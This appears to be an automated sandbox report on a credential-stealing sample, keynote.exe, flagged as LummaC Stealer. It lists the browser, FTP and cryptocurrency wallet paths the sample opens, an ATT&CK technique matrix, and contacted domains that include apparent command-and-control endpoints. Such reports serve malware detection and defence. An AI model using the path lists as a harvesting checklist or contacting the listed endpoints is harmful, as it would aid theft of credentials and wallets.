Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match

File source: Process Memory Space: keynote.exe PID: 7324, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: keynote.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: 0.2.keynote.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	4 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Obfuscated Files or Information	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
keynote.exe	8%	Virustotal		Browse

Source	Detection	Scanner	Label
https://web.telegram.orgPersistent-AuthWWW-AuthenticateVarystel_ssid=6b0b39d451421fae0e_172757399908	0%	Avira URL Cloud	safe
nestlecompany.world	100%	Avira URL Cloud	malware
https://bzondingmoments.tech/	0%	Avira URL Cloud	safe
https://qodcsxcvbdbtcih.itrw/P	0%	Avira URL Cloud	safe
https://bzondingmoments.tech/apint	0%	Avira URL Cloud	safe
https://bzondingmoments.tech/apiI	0%	Avira URL Cloud	safe
https://qodcsxcvbdbtcih.itrw/B	0%	Avira URL Cloud	safe
https://bzondingmoments.tech/apij	0%	Avira URL Cloud	safe
https://qodcsxcvbdbtcih.itrw/api	0%	Avira URL Cloud	safe
https://bzondingmoments.tech/apiZj	0%	Avira URL Cloud	safe
https://bzondingmoments.tech/ontrolI	0%	Avira URL Cloud	safe
https://qodcsxcvbdbtcih.itrw/apiI	0%	Avira URL Cloud	safe
https://bzondingmoments.tech/h	0%	Avira URL Cloud	safe
https://bzondingmoments.tech/t	0%	Avira URL Cloud	safe
https://bzondingmoments.tech/api	0%	Avira URL Cloud	safe
https://web.telegram.orgX-Frame-OptionsALLOW-FROM	0%	Avira URL Cloud	safe
bzondingmoments.tech	0%	Avira URL Cloud	safe
https://bzondingmoments.tech/alse	0%	Avira URL Cloud	safe
https://qodcsxcvbdbtcih.itrw/	0%	Avira URL Cloud	safe
https://bzondingmoments.tech:443/api	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bzondingmoments.tech	104.21.17.68	true	true	unknown
t.me	149.154.167.99	true	false	high
qodcsxcvbdbtcih.itrw	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
nestlecompany.world	true	Avira URL Cloud: malware	unknown
blast-hubs.com	false		high
stormlegue.com	false		high
nestlecompany.pro	false		high
https://bzondingmoments.tech/api	true	Avira URL Cloud: safe	unknown
bzondingmoments.tech	true	Avira URL Cloud: safe	unknown
mercharena.biz	false		high
https://t.me/r32rdsadasdasd	false		high
blastikcn.com	false		high
generalmills.pro	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	6D9825A5BA1684D6.dat.0.dr	false		high
https://t.me/	keynote.exe, 00000000.00000003.1712646101.0000000000637000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1846700189.0000000000637000.00000004.00000020.00020000.00000000.sdmp	false		high
https://qodcsxcvbdbtcih.itrw/P	keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	false		high
https://qodcsxcvbdbtcih.itrw/api	keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1712717277.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org	keynote.exe, 00000000.00000003.1712504183.0000000000671000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bzondingmoments.tech/apij	keynote.exe, 00000000.00000002.2046284034.000000000067F000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010702741.000000000067F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	false		high
https://qodcsxcvbdbtcih.itrw/B	keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	keynote.exe, 00000000.00000003.1849674305.00000000033D6000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1849512666.000000000305E000.00000004.00000800.00020000.00000000.sdmp, 85210EAE92C8B7A2.dat.0.dr	false		high
https://web.telegram.orgPersistent-AuthWWW-AuthenticateVarystel_ssid=6b0b39d451421fae0e_172757399908	keynote.exe, 00000000.00000003.1712504183.0000000000671000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bzondingmoments.tech/	keynote.exe, 00000000.00000003.1938897538.0000000003014000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2032347830.0000000002FE6000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1938997907.0000000003014000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bzondingmoments.tech/apiZj	keynote.exe, 00000000.00000003.1846700189.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2031976355.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	false		high
http://x1.i.lencr.org/0	keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	false		high
https://bzondingmoments.tech/apiI	keynote.exe, 00000000.00000003.1846700189.000000000066D000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1847132324.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	keynote.exe, 00000000.00000003.1849512666.000000000303A000.00000004.00000800.00020000.00000000.sdmp, 85210EAE92C8B7A2.dat.0.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	false		high
https://bzondingmoments.tech/apint	keynote.exe, 00000000.00000003.2010702741.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	keynote.exe, 00000000.00000003.1958309585.00000000035FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	keynote.exe, 00000000.00000003.1986244342.000000000301C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2031976355.000000000300C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	keynote.exe, 00000000.00000003.1986244342.000000000301C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2031976355.000000000300C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	keynote.exe, 00000000.00000003.1952350355.00000000033DD000.00000004.00000800.00020000.00000000.sdmp, 2790DB6CD4A3A042.dat.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	keynote.exe, 00000000.00000003.1849674305.00000000033D6000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1849512666.000000000305E000.00000004.00000800.00020000.00000000.sdmp, 85210EAE92C8B7A2.dat.0.dr	false		high
https://bzondingmoments.tech/ontrolI	keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	6D9825A5BA1684D6.dat.0.dr	false		high
http://crl.microsoft.	keynote.exe, 00000000.00000003.1985583676.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2046284034.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010702741.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1986358157.00000000006A7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://qodcsxcvbdbtcih.itrw/apiI	keynote.exe, 00000000.00000003.1712504183.000000000067F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	keynote.exe, 00000000.00000003.1986244342.000000000301C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2031976355.000000000300C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web.telegram.orgX-Frame-OptionsALLOW-FROM	keynote.exe, 00000000.00000003.1712504183.0000000000671000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.microsof	keynote.exe, 00000000.00000003.1849674305.00000000033D6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bzondingmoments.tech/t	keynote.exe, 00000000.00000003.1846700189.000000000066D000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1847132324.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bzondingmoments.tech:443/api	keynote.exe, 00000000.00000003.1985471520.0000000002FFD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
